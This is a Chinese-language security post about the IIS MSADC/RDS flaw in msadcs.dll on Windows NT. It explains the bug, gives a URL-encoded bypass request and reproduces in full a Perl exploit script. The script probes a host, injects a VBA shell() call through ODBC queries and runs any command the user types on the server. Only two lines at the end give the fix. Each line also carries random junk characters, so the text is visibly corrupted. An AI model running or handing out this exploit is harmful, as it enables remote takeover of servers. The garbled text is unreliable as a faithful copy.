IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
EW* !_| Mm`jk%:%] 涉及程序：
au7%K 5 Microsoft NT server
. +> w0FG. :,"dno7OQ 描述：
)hm U/E @ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
geU-T\1[l fpf1^ TZ 详细：
LSb3w/3M 如果你没有时间读详细内容的话，就删除:
Pc >$[kT0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
4O_z|K_ k| 有关的安全问题就没有了。
{9U<! @3KVYv,q 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
<q
hNX$ t `?LQd2p 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
ta"/R@ k* 关于利用ODBC远程漏洞的描述，请参看:
SY|r'8Z% Q 'c 5#M,G~ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \eF5* {9 %41dVnWB^4 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
6l&m+!i http://www.microsoft.com/security/bulletins/MS99-025faq.asp & i"33.# ] jUt rFl 这里不再论述。
16/+ O$#y 9 \i;zpN\ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
q"ba~@<BEl K K4>8zGR /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1rh\X[@ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Onb*nm *zeY< 6 {dvrj<? #将下面这段保存为txt文件，然后: "perl -x 文件名"
/ U 1VE|T m)3?hF) #!perl
R9&T0Q f #
XRXKO>4q # MSADC/RDS 'usage' (aka exploit) script
l=D E|: #
2uFaAAT # by rain.forest.puppy
ov : h4 #
b\NWDH7} # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/*p4(D_A # beta test and find errors!
d,[.=Jqv[ S+H#^WSt use Socket; use Getopt::Std;
c\Fy X\ i getopts("e:vd:h:XR", \%args);
W!q 'wrIx( ;e;lPM{+ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
f Z$<'(t /]%,C if (!defined $args{h} && !defined $args{R}) {
u^a\02aV[ print qq~
>SpXB:wx Usage: msadc.pl -h <host> { -d <delay> -X -v }
x n)FE4 -h <host> = host you want to scan (ip or domain)
8+Al+6d|! -d <seconds> = delay between calls, default 1 second
h`+Gs{ 1qw -X = dump Index Server path table, if available
IrQ8t! -v = verbose
Pd!;z=I -e = external dictionary file for step 5
F 7a &- yq+<pfaqvK Or a -R will resume a command session
NHA
2 i Gir_.yc/ ~; exit;}
f/Km$#xOr jENarB ^As $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
U g^C}".& if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!+& NG&1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^% BD if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
S`2M QL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
.vNfbYH( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
vW]Frb 1 Uz'= a if (!defined $args{R}){ $ret = &has_msadc;
}<7Dyn, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
,e+.Q#r*Y 'KpCPOhfR print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"BjQs<]%sF . "cmd /c ";
r4t|T^{sl $in=<STDIN>; chomp $in;
*E:w377<} $command="cmd /c " . $in ;
W093rNF~ d=WC1" if (defined $args{R}) {&load; exit;}
T[a1S ?_*T ju0]~, print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
T[xGF/ &try_btcustmr;
RK(uC-l j>gO]*BX~ print "\nStep 2: Trying to make our own DSN...";
-aG( Yx &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
/ :"%m:-P &=f Bqod print "\nStep 3: Trying known DSNs...";
JfKhYRl &known_dsn;
asP> (Li a8M.EFa: print "\nStep 4: Trying known .mdbs...";
D}"\nCz}y& &known_mdb;
O/_} O_rR 9bgKu6-X if (defined $args{e}){
OQ#gQ6;?0 print "\nStep 5: Trying dictionary of DSN names...";
mm Y~V:,Kd &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~B>I?j COv#dOw print "Sorry Charley...maybe next time?\n";
+f\tqucI3 exit;
Xn.zN>mB ;1S{xd*^N ##############################################################################
<9-tA\`8N z QoMHFL3 sub sendraw { # ripped and modded from whisker
RUf,)]Vvk sleep($delay); # it's a DoS on the server! At least on mine...
\|R`wFn^P my ($pstr)=@_;
R8EDJ2u# socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H ;*:XLPF die("Socket problems\n");
x)G/YUv76 if(connect(S,pack "SnA4x8",2,80,$target)){
yHQ.EZ~% select(S); $|=1;
T7m rOp print $pstr; my @in=<S>;
5yp ~PhHf select(STDOUT); close(S);
; 5my(J*b return @in;
`h$6MFC/ g } else { die("Can't connect...\n"); }}
*[
Wh9 ,H HT
A-L>Cee ##############################################################################
OI %v>ns )U<4ul sub make_header { # make the HTTP request
yN{Ybp my $msadc=<<EOT
y$*?k0=ZX POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
\_@u"+,$W User-Agent: ACTIVEDATA
&IT'%*Y:V Host: $ip
5
W(iU Content-Length: $clen
Ul@ZCv+ Connection: Keep-Alive
mwb kXy;8 .^@+$} ADCClientVersion:01.06
|Y(]. G, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_< ;#= l ksDG8^9 >] --!ADM!ROX!YOUR!WORLD!
p: sn>Y Content-Type: application/x-varg
Z > QSZ48= Content-Length: $reqlen
A40 -])'! <n }=zu EOT
":]O3 D{r ; $msadc=~s/\n/\r\n/g;
rorzxp{ return $msadc;}
`<HY$PAe \Zo o9Wy
##############################################################################
kGc)Un?'{U }E>2U/wpXY sub make_req { # make the RDS request
q FUpvTe my ($switch, $p1, $p2)=@_;
Z I}m~7 my $req=""; my $t1, $t2, $query, $dsn;
q>Px 2: pq|eiF if ($switch==1){ # this is the btcustmr.mdb query
DLS-WL $query="Select * from Customers where City=" . make_shell();
b@1 QE $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
7azxqa5: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2#/ KS^ MLBZmM ' elsif ($switch==2){ # this is general make table query
uO[4 WZ $query="create table AZZ (B int, C varchar(10))";
KN}[N+ V> $dsn="$p1";}
]qV J> y
H+CyL\ elsif ($switch==3){ # this is general exploit table query
= 1}-]ctVn $query="select * from AZZ where C=" . make_shell();
9%zR ? u $dsn="$p1";}
5 R"b1 C dZ;ZR elsif ($switch==4){ # attempt to hork file info from index server
W:rzfO.`Z $query="select path from scope()";
DT 9i<kl $dsn="Provider=MSIDXS;";}
C
2oll-kN b17p; wS elsif ($switch==5){ # bad query
G>:l(PW: $query="select";
@Zq,mPaR $ $dsn="$p1";}
_LK>3 S qd 'c &Bmd40 $t1= make_unicode($query);
+bRL. xY $t2= make_unicode($dsn);
=P Zs'K $req = "\x02\x00\x03\x00";
/E] 4N =T $req.= "\x08\x00" . pack ("S1", length($t1));
Jr''S}@|x $req.= "\x00\x00" . $t1 ;
*D<sk7 $req.= "\x08\x00" . pack ("S1", length($t2));
,{oP`4\Lm $req.= "\x00\x00" . $t2 ;
~Dy0HVE $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
w-\fCp ) return $req;}
;quGy3 3ZZJY f= ##############################################################################
uxh4nyE k*M{?4 sub make_shell { # this makes the shell() statement
YRYrR|I return "'|shell(\"$command\")|'";}
Ok:@ F/ v DJn>. Gd ##############################################################################
V 9<[v?.\ >_F& oA# sub make_unicode { # quick little function to convert to unicode
y Y"%6k,ZB my ($in)=@_; my $out;
#;mZ3[+i5 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Oi7=z?+j return $out;}
;<&s _C3 Tu6he8Q- ##############################################################################
p! Gf ^ ?` `+ OH sub rdo_success { # checks for RDO return success (this is kludge)
OOk53~2id my (@in) = @_; my $base=content_start(@in);
1:>RQPXcWv if($in[$base]=~/multipart\/mixed/){
D 'u+3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
O'wN4 qb=F return 0;}
4h~Oj
y16& kb%W3c9HO ##############################################################################
Q z/pz_} 8F[j}.8q sub make_dsn { # this makes a DSN for us
VX>_Sp s my @drives=("c","d","e","f");
yRgo1o w] print "\nMaking DSN: ";
2l!"OiB. P foreach $drive (@drives) {
*|=&MU*+ print "$drive: ";
P&F)E#Sa my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
N %?o-IY "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6u.b?_u . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
d3{Z hn@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
be764 do return 0 if $2 eq "404"; # not found/doesn't exist
Eui;2P ~ if($2 eq "200") {
71 A{" foreach $line (@results) {
d&ZwVF! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4\$Ze0tv } return 0;}
/60[T@Mz ;^*^
:L ##############################################################################
{:oZ&y)Ac * 508PY sub verify_exists {
=Q|}7g 8o my ($page)=@_;
9
/zz@ my @results=sendraw("GET $page HTTP/1.0\n\n");
NF a
; return $results[0];}
2
G"p:iPp QyN ~Crwo ##############################################################################
w{r ->Phe %(kq Hxc sub try_btcustmr {
.i. |wY my @drives=("c","d","e","f");
vj_oMmjKw my @dirs=("winnt","winnt35","winnt351","win","windows");
k|lxJ^V# ?"C ]h s foreach $dir (@dirs) {
\E#r[9F{ print "$dir -> "; # fun status so you can see progress
&U,f~KJ foreach $drive (@drives) {
UwM}!K7)G print "$drive: "; # ditto
[7Kn$OfP $reqlen=length( make_req(1,$drive,$dir) ) - 28;
b%_QL3 m6 $reqlenlen=length( "$reqlen" );
Q3/q%#q> $clen= 206 + $reqlenlen + $reqlen;
9M!_D?+ P? 57j:Lw~
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
O.4"h4{' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ke4 q$pD else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
L;f=\q"g JDhA{VN6 ##############################################################################
j)]'kg nAX |=q p# sub odbc_error {
pIrAGA; my (@in)=@_; my $base;
Zk/NO^1b my $base = content_start(@in);
&6:,2W&s if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
H\b5]q % $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zHU#Jjc_b $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^t wv0>vEo $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
woT" 9_tN return $in[$base+4].$in[$base+5].$in[$base+6];}
3@&H)fdp6a print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=L=#PJAP j print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
pvM8PlYo]` $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
000 $ZsW? ~d%Q1F*,= ##############################################################################
m 3XH3FgKz (Q4_3<G+ sub verbose {
y-@!, @e my ($in)=@_;
g 764wl return if !$verbose;
WR-C_1-pT print STDOUT "\n$in\n";}
I{AU , "TV.$s$. ##############################################################################
^GAdl} (G"qIw
sub save {
* c%@f<R~ my ($p1, $p2, $p3, $p4)=@_;
_F*w
,b$8 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
s7
K KH
w print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c%U$qao=c+ close OUT;}
87Uv+((H }?~uAU- ##############################################################################
X
or ,}. w 4l1=l#\S sub load {
u}rot+)% my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6f>l~$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
NY;UI (<] @p=<IN>; close(IN);
%<"11;0tp $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#,PAM.rH $target= inet_aton($ip) || die("inet_aton problems");
LAKZAi%O0 print "Resuming to $ip ...";
~ghz%${` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
: ^s7#4%6 if($p[1]==1) {
%~;Q_#CR/K $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
^hHeH:@ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
{UmCn>c my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8k1 r|s@d if (rdo_success(@results)){print "Success!\n";}
ygW@[^g else { print "failed\n"; verbose(odbc_error(@results));}}
'f}S ,i +q elsif ($p[1]==3){
]p*)
PpIl if(run_query("$p[3]")){
:f YwFD( 9 print "Success!\n";} else { print "failed\n"; }}
@r]s9~Lx9 elsif ($p[1]==4){
6uXW`/lvX if(run_query($drvst . "$p[3]")){
0oJ^ a^| print "Success!\n"; } else { print "failed\n"; }}
7qUtsDK exit;}
,%'0e / yUSB{DLpla ##############################################################################
u`'z~N4} 1b7xw#gLx sub create_table {
,SM- Z`' my ($in)=@_;
:I'Ezxv| $reqlen=length( make_req(2,$in,"") ) - 28;
-Wn. @bz6B $reqlenlen=length( "$reqlen" );
'*XN gvX $clen= 206 + $reqlenlen + $reqlen;
Q Bw
ZfX my @results=sendraw(make_header() . make_req(2,$in,""));
\ l:g{GnoT return 1 if rdo_success(@results);
0xxzhlKNL my $temp= odbc_error(@results); verbose($temp);
A] +h<Y~} return 1 if $temp=~/Table 'AZZ' already exists/;
],YY FU} return 0;}
u#M)i30j $.N~AA~0 ##############################################################################
H|)1T-% \zI&n &T sub known_dsn {
DqM K[N,0 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Tb= {g;0 @ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
M96( Rg "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
V0 F30rK "banner", "banners", "ads", "ADCDemo", "ADCTest");
zn
?;>Bl c9 u T`h foreach $dSn (@dsns) {
!~N4}!X3du print ".";
N
&[,nUd next if (!is_access("DSN=$dSn"));
]k: m2$le if(create_table("DSN=$dSn")){
8T)zB6ng print "$dSn successful\n";
W|#ev*'F if(run_query("DSN=$dSn")){
euhZ4+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
cX Y'>N print "Something's borked. Use verbose next time\n";}}} print "\n";}
=[K)<5,@ ]pV1T ##############################################################################
= b!J)] ww($0A`ek sub is_access {
y<1$^Y1/) my ($in)=@_;
Z&w^9;30P $reqlen=length( make_req(5,$in,"") ) - 28;
kN j3!u$ $reqlenlen=length( "$reqlen" );
V" H 7zx $clen= 206 + $reqlenlen + $reqlen;
NoO+xLHw8 my @results=sendraw(make_header() . make_req(5,$in,""));
1mJ_I|98 my $temp= odbc_error(@results);
uvDoo6' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
1bJ ] 3\ return 0;}
'
f$L 7F(F.ut ##############################################################################
S9NN.dKu m_ $I?F0 sub run_query {
b!X "2' my ($in)=@_;
EOX _[ek7 $reqlen=length( make_req(3,$in,"") ) - 28;
06^1#M$' $reqlenlen=length( "$reqlen" );
j 3MciQ` $clen= 206 + $reqlenlen + $reqlen;
nbAS pa( my @results=sendraw(make_header() . make_req(3,$in,""));
Dum`o^l# return 1 if rdo_success(@results);
b3b~T] ] my $temp= odbc_error(@results); verbose($temp);
8q [c return 0;}
egvy#2b@ &@HNz6KO ##############################################################################
ix9HSa{d <i'u 96 sub known_mdb {
mp,e9Nd; my @drives=("c","d","e","f","g");
N+M&d3H` my @dirs=("winnt","winnt35","winnt351","win","windows");
*fl{Y(_OO my $dir, $drive, $mdb;
`MsY gd my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>I&
jurU# e$EF% cKH # this is sparse, because I don't know of many
@ y(Wy} my @sysmdbs=( "\\catroot\\icatalog.mdb",
Nr24[e
G>d "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
sk
?'^6Xh "\\system32\\certmdb.mdb",
pTALhj#, "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Ww96|m nh eU~jb my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
M> jBm
. "\\cfusion\\cfapps\\forums\\forums_.mdb",
ls24ccOs "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
l^!A "\\cfusion\\cfapps\\security\\realm_.mdb",
-#wVtXaSc "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ZjZh z` "\\cfusion\\database\\cfexamples.mdb",
`_1(Q9Q "\\cfusion\\database\\cfsnippets.mdb",
PDt<lJU+X "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
)J+{oB[>b "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
%A62xnX "\\cfusion\\brighttiger\\database\\cleam.mdb",
5eOj, [? "\\cfusion\\database\\smpolicy.mdb",
BY*2yp }7 "\\cfusion\\database\cypress.mdb",
rj,K `HD "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
%XI"<Y\yL "\\website\\cgi-win\\dbsample.mdb",
(.,'}+1 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
P-+M,>vNy[ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ZS XRzH~0 ); #these are just
WY"Y)S foreach $drive (@drives) {
1 /2V.:bg foreach $dir (@dirs){
,|.8nk" foreach $mdb (@sysmdbs) {
xIQ/$[&v print ".";
MkDK/K$s if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
;T.s!B$Uu print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
nU&NopD+*G if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Y=a v8Y|` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
;tp]^iB# } else { print "Something's borked. Use verbose next time\n"; }}}}}
sLG>>d3R1 VyWYfPK foreach $drive (@drives) {
ov`^o25f foreach $mdb (@mdbs) {
?+n&hHRg print ".";
qBy NHo7Tb if(create_table($drv . $drive . $dir . $mdb)){
i
Y*o;z,~ print "\n" . $drive . $dir . $mdb . " successful\n";
U|J$?aFDr if(run_query($drv . $drive . $dir . $mdb)){
rX 33s print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
f6B-~x<l } else { print "Something's borked. Use verbose next time\n"; }}}}
\\S/ NA }
a|Q E *s. /o~qC<7 ##############################################################################
*p&^!ct m_m8c8{Y sub hork_idx {
I7dm \|# print "\nAttempting to dump Index Server tables...\n";
zb;(?!Bd# print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
s:+HRJ D| $reqlen=length( make_req(4,"","") ) - 28;
pw,O"6J* $reqlenlen=length( "$reqlen" );
Jcz]J)|5v $clen= 206 + $reqlenlen + $reqlen;
@S}/g/+2 my @results=sendraw2(make_header() . make_req(4,"",""));
)sW6iR&_i if (rdo_success(@results)){
u C,"5C my $max=@results; my $c; my %d;
]C16y.
~e for($c=19; $c<$max; $c++){
;&Bna#~B $results[$c]=~s/\x00//g;
]V 36-%^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
><NI'q*cQ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<0u\dU $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
~u /aOd $d{"$1$2"}="";}
q=6Cc9FN foreach $c (keys %d){ print "$c\n"; }
yo\N[h7 } else {print "Index server doesn't seem to be installed.\n"; }}
E BoGJ_l b
, juF2 ##############################################################################
C4QeDvpI >4n+PXRXX sub dsn_dict {
;rB6u_5"I. open(IN, "<$args{e}") || die("Can't open external dictionary\n");
jR{- while(<IN>){
Rx6l|'e $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
TB7>s~)47E next if (!is_access("DSN=$dSn"));
&?.n2+T+
= if(create_table("DSN=$dSn")){
(C daE!I4Q print "$dSn successful\n";
48 W.qzC if(run_query("DSN=$dSn")){
BB HK print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sm 's-gD print "Something's borked. Use verbose next time\n";}}}
G2.|fp_}pG print "\n"; close(IN);}
pheE^jUr GE1i+.+-. ##############################################################################
/g_ 9m %#~((m1 sub sendraw2 { # ripped and modded from whisker
n*4lz^LR sleep($delay); # it's a DoS on the server! At least on mine...
oZTgN .q my ($pstr)=@_;
4k8*E5cx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S4cpQq. die("Socket problems\n");
' X7%3 5Y if(connect(S,pack "SnA4x8",2,80,$target)){
>i
"qMZ print "Connected. Getting data";
OT%0{2c"] open(OUT,">raw.out"); my @in;
]N*L7AVl select(S); $|=1; print $pstr;
E {tx/$f while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
g;pR^D'M5C close(OUT); select(STDOUT); close(S); return @in;
& + KyPY+ } else { die("Can't connect...\n"); }}
CuH2E>wz !fY7"E{%% ##############################################################################
ypx: )e"/ HTmI1 sub content_start { # this will take in the server headers
dj'm, k
b my (@in)=@_; my $c;
,7GWB:Sk for ($c=1;$c<500;$c++) {
gtiE hCF2W if($in[$c] =~/^\x0d\x0a/){
qv[[Q[RK-5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$
+;+: K else { return $c+1; }}}
!p9)CjQ " return -1;} # it should never get here actually
I>PZYh'.T kv6Cp0uFg ##############################################################################
>F1G!#$0 ~h-C&G ,v sub funky {
Nln`fE/Ht my (@in)=@_; my $error=odbc_error(@in);
5W/{h q8}} if($error=~/ADO could not find the specified provider/){
&FSmqE;@^ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"~F3*lk#E exit;}
:0$a.8Y\++ if($error=~/A Handler is required/){
8S\RN&T $ print "\nServer has custom handler filters (they most likely are patched)\n";
^/H W$8wEi exit;}
lbQQ tpEKO if($error=~/specified Handler has denied Access/){
>M]6uf print "\nServer has custom handler filters (they most likely are patched)\n";
:\XI0E exit;}}
ui:= !/`$AXO ##############################################################################
iPq & Y* hoa7 sub has_msadc {
H&#{l) my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
^$v3eKA my $base=content_start(@results);
rLU'*} return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
-KH)J return 0;}
b_TS <, 98R KCc9h ########################
~@T <gA9V IOL L1ar Q_]d5pl 解决方案：
7p.>\YtoR} 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]1D%zKY%$Z 2、移除web 目录: /msadc
